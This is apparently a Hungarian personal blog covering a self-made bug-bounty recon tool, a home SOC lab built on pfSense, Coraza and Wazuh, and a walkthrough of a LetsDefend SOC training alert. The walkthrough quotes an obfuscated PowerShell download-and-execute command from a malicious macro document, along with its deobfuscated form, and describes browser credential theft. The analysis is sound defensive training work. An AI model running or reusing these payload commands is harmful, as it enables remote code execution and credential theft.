InScop3 - Security Framework

Az InScop3 egy saját fejlesztésű Python progi, amelyre akkor gondoltam először, mikor ráfókuszáltam bug bounty-k során a wildcardok vizsgálatára. Ugyanis ahhoz, hogy kinyerhesd egy wildcard minden subdomainjét, hogy azok közül melyik élő, stb, ahhoz le kell az embernek futtatnia 4-5 programot (subfinder, httpx, dnsx stb.). Mindet külön külön beállítani, ha kéri a BugBounty, akkor Header-eket hozzáadni, rate limitet beállítani. És arra gondoltam, hogy mennyivel egyszerűbb lenne, ha én csak megadom ezt a 4 bemeneti értéket (wildcard, rate limit, User-agent, Request-header), és egy program megcsinálja helyettem az egészet, majd grafikusan kiadja a végeredményt. Aztán útközben arra gondoltam, hogy mi lenne, ha vizsgálná, hogy mely subdomaineken lehet esetleg takeover-t csinálni. Szóval beletettem azt is...Aztán gondoltam, hogy milyen jó lenne, ha lehetne különböző vizsgálatokat csinálni 1-1 subdomain-en... Például egy nuclei-t, vagy egy ffuf-ot futtatni. És végül "belepakolgattam" ezeket a programokat is. Valójában a program csak annyit csinál, hogy nyit egy terminált a háttérben, beírja a parancsot, ha adtál meg bemeneti adatokat (pl rate limitet), akkor azokat beállítja. Pár egérkattintással beállíthatsz mindenféle plusz kapcsolót, majd az indításra kattintva lefuttathatod a toolt.

Majd arra gondoltam, hogy milyen jó lenne, ha lenne egy jegyzet, amibe beleírhatnám az összes dolgot, amit találtam és ez is a program része lenne. És aztán ahogy jöttek a gondolatok, úgy építettem bele őket a programba.

Ha gondolja a kedves olvasó, hogy tenne vele egy próbát, akkor itt megtalálja (dolgozok egy windowsos verzión is, egyelőre csak linuxra van):

→ GitHub-on megtekintés ↓ Letöltés a szerverről (.tar.gz)

SOC Homelab felállítása

Hol is kezdjem. Sokat gondolkodtam, hogy hogyan is szeretném ezt az itthoni "labort" kivitelezni. Szerettem volna egy profi, itthoni kis webszervert létrehozni, amiről futtathatom ezt a weboldalt, későbbiekben talán a feleségem weboldalát is, ami ugyanakkor megfelelően védett is (remélem ebből a szempontból jól sikerült a project). Utánaolvastam, videókat néztem meg, végül az alapfelállás az lett, hogy lesz egy fő tűzfalam (pfSense), mögötte egy WAF (SafeLine) és az egészet egy SIEM-mel (Wazuh) fogom monitozorni. Szóval belevágtam.

Az ember úgy is a saját kárán tanul...

Szóval az alaprendszer egy sima Arch linux, melyre virt-managerrel létrehoztam 2 virtuális gépet. Az egyiken a pfSense fut, a másikon egy ubuntu szerver. Az ubuntu szerverre felkerült a safeline (dockerekre) és a wazuh. Hát mit ne mondjak...nem volt egyszerű történet. A pfSense-t vagy 5x újratelepítettem (bár így utólag nézve egyszer sem kellet volna...), az ubuntu szervert is vagy háromszor (nem nagyon akart rajta működni a net...de legalább megtanultam, hogy ez nem az ő hibája volt, hanem az enyém, meg a rosszul beállított pfSense-é), mire sikerült eljutni oda, hogy minden klappoljon és fel lehessen telepíteni a safeline-t és a wazuh-t.

Működött is szépen a dolog, habár a safeline dashboardja alaphangon kínai és nincs saját angol felülete (vagy én voltam balf@sz hozzá, hogy működésre bírjam). Viszont nekem ez a rózsaszín (vagy lazac vagy milyen) színű blokkolási kép ez nekem annyira nem jött be, plusz a kínai kezelőfelület sem tetszett túlságosan (ráadásul az igazi finomságok, a finomhangolási beállítások már fizetősek). Szóval kicsit utána néztem, hogy mit is használnak a "profik". És aztán úgy döntöttem, hogy a kiválasztott a Coraza lesz. Szóval ismételten AI segítséggel felcsaptam a coraza-t az ubuntura, kicsit átállítottuk a rendszert, átírtam a wazuh besorolási szabályait, és ismét működött a rendszer.

Most, hogy már szépen működött a WAF logolása, a Wazuh szépen olvasta a logokat, és "severity" alapján be is sorolta őket (ezekkel rengeteget szívtam mire működött), már csak egy lépés volt hátra. A cloudflare blokkolásait is szerettem volna, ha olvassa a wazuh. Ehhez külön python scriptet kellett írni, és beállítani hogy pár percenként lefuttassa a rendszer automatikusan. Végül ezt is sikerült összehozni. Következő projekt az lesz, hogy a Wazuh-t úgy beállítani, hogy felismerje a támadásokat, pl ha a támadó futtat egy gobustert, vagy egy nuclei-t, akkor felismerje, esetlegesen automatikusan blokkoljon ip-ket és hasonló nyalánkságok...

Közben hála egy francia (feltehetőleg) botnak (aki ráküldött a weboldalra egy CVE-2017-9841 vizsgálatot...kár, hogy nincs php a weboldalon...na majd legközelebb) sikerült pfSense-en belül létrehozni egy Wazuh Block listát. És, hogy hogyan? A Wazuh Active Response nevű kis funciójával. Pontosabban: Először a rendszer logokat gyűjt és dekódol (mezőkre bontja, amivel ki lehet nyerni az támadó ip címét). Majd a beállított szabályok alapján (pl ha elér egy kritikus severity-t a támadás, vagy mondjuk ha 1 másodpercen belül hirtelen sok kérés érkezik), akkor aktivizálódik ez az Active Response és elindít egy egyedi scriptet. Ezzel a scripttel pedig parancsot adunk a pfSense-nek, hogy az átküldött ip címet tegye szépen tiltólistára egy meghatározott időre. Kíváncsian várom, hogy legközelebb hogyan reagál a szerver.

SoC Event megoldás

Miután július 22-én megszereztem a LetsDefend SOC Analyst Learning Path certificate-jét, pár napra rá kaptam egy emailt:

Gyanítom, hogy ez az email egy automatikus email, de mivel szeretek másoknak segíteni és mert ez is a feladat része, így eleget teszek a kérésnek...Íme az én megoldásom, gondolkodásom a LetsDefend 76-os számú eventjére.

Gyanítom, hogy aki csinálgatja ezeket az eventeket, azoknak megvan, hogy hogyan kell elkezdeni a folyamatot, így most erre nem térnék ki, inkább a logikára.

Nézzük először magát a report leírását.

Az első, amit mindig megcsinálok, hogy kimásolom a hash-t és irány a virustotal. Ha te is megteszed, láthatod, hogy a fájl a virustotal szerint nagyon is malicious.

Én ilyenkor kíváncsiságból mindig meg szoktam nézni, hogy mit is csinál maga a program, milyen commandokat hajt végre, hogyan néz ki a process tree-je, megpróbálom megérteni, hogy mit csinál a malware.

Látszik, hogy a progi fogja és a winword (mivel ugye egy .doc fájlról van szó, amiben makrók futhatnak) megnyitása után rögtön indít egy powershellt:

"powershell I`EX ((n`e`W`-Obj`E`c`T (('Net'+'.'+'Webc'+'lient'))).(('D'+'o'+'w'+'n'+'l'+'o'+'a'+'d'+'stri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).InVokE((('https://filetransfer.io/data-package/UR2whuBv/download'))))"

Itt ugye a támadó próbálja kikerülni a különböző antivirusok pattern felismerő automatikáját ezzel a rengeteg karakterrel. Ez lecsupaszítva így néz ki:

"powershell IEX (New-Object System.Net.WebClient).DownloadString('https://filetransfer.io/data-package/UR2whuBv/download')"

Vagyis megpróbál letölteni egy fájlt. Ezt eljátssza még kétszer. Hogy miért? hogy kijátszhassa a védelmi rendszert...És, hogy hogyan, az a shell commandokból derül ki:

Íme a lefutott Commandok. Nézzük mit tesz a malware. Első lépésben ugye letölti a fájlt. Aztán a RegAsm.exe, a netsh.exe és a MSBuild.exe segítségével kijátssza a védelmi vonalakat (átírja a registry-ket és hasonlók), majd végezetül adatokat lop (NirSoft.exe -->ezzel kinyeri, browser.txt--->ebbe pedig elmenti), böngésző adatokat. Felhasználói neveket, jelszavakat.

Menjünk tovább. Ha elindítod a "create case" nyilakkal az eventet, akkor a következő, ami felugrik az ez lesz:

Én itt az "other"-re mentem, mert szerintem az első és a harmadik is megállja a helyét. A következő kérdés:

Kérdés, hogy karanténba lett-e helyezve? Ezt onnan tudhatod, hogyha visszakattasz az Investigation channelbe, ott megnézed, hogy mi szereoel a Device action sorban értékként.

Blocked. Tehát a tűzfal sikeresen megfogta, és karanténba helyezte. --->Quarantined. Következő kérdés:

Erre a választ a log management-ben találod (félig meddig)...De hogy találhatod meg a log managementben? Az event leírásában szerepel ugye source ip, file hash. Szóval két irányban is el tudunk indulni...néztük ugye a virustotalon a fájlt. Itt megtalálod a fájl nevét, ami "INVOICE PACKAGE LINK TO DOWNLOAD.docm". Rákereshetsz erre is, de én ezt nem találtam, így rákerestem a source ip-ra, ami ugye 172.16.17.37.

Erre már kiadott három találatot is. Szóval ha lenyitod őket, akkor megnézheted egyenként is.

Ha megnézed a logokat láthatod, hogy március 7-én volt mindhárom esemény (a mi eseményünk március 14-én türtént...szintén az event leírásánál van), tehát a logokba nem került be. A másik, amit én itt megnéztem, az az Endpoint securityben maga a gép volt.

Itt van egy olyan menü, hogy Terminal history...Ha arra rákattintasz látni fogod, hogy milyen parancsok lettek beütve a terminálba.

Ha ezt megnézed elég gyanús dolgok történtek itt...

Én ebből arra következtettem, hogy a gép fertőzött lehet. Viszont ezek a parancsok március 7-én futottak le, vagyis a mi Eventünk szempontjából lényegtelenek lehetnek (de össze is függhetnek). Azért karanténba csaptam a gépet. Miért? Mert felettébb furcsa nekem ez a terminál és szerintem jobban meg kéne vizsgálni ezt a gépet. Ha megnézed a Last login értéket, akkor láthatod, hogy március 7-én léptek be utoljára. Ami ugye nem zárja ki, hogy azóta bárki kikapcsolta volna ezt a gépet. Tehát lehet, hogy valaki korábban letöltött rá valamit, amit nem kellett volna és lehet, hogy ez a program eddig lappangott, de most aktivizálta magát és megpróbálta letölteni azt a fertőzött doc fájlt, ami a mi evetünk része. Szóval mivel túlbuzgó vagyok és hiszek a zero trusban, így átnéztem a gép böngészési előzményeit is..

Illetve lecsekkoltam, hogy a logokban március 7-én történt dolgok milyen url-ekre mutatott...

Minden esetre a mi eventünknél, ami március 14-én történt, annál semmilyen log nem keletkezett, semmilyen C2 access nem volt, így Not Accessed.

Következő kitöltendő rész az "Add Artifacts". Itt hozzáadsz mindent, amit eddig találtunk...

Majd lezárhatjuk az alertet.

És ha mindent jól csináltunk, akkor te is ezt fogod kapni:

Írhatsz hozzá leírást, sőt valós környezetben én is írtam volna, de mivel ez teszt környezet, így nem láttam fontosságát.

Ettől függetlenül imádom ezeket. Olyan, mintha az ember nyomozó lenne...Bár...végül is ez igazi nyomozómunka.